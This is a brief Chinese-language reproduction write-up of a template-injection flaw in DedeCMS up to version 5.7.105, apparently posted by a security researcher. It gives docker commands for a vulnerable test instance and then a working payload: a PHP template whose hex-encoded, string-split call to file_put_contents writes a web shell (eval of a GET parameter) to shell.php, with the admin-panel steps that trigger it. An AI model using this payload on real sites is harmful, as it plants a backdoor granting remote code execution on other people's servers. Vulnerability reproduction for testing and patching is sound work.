0x01

用@se1zer前辈的docker直接来复现,版本基于DedeCMS V5.7.105,ver.txt时间为20230202

受影响的版本 <=dedecms v5.7.105

docker pull se1zer/dedecms:latest
docker run -d -P se1zer/dedecms

0x02

进入后台,在模版管理新建个htm模版

<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");

在核心-单页文件管理-创建一个单页面

保存后会在/a/目录下生成kris.php,访问后会执行php生成shell.php


本当の声を響かせてよ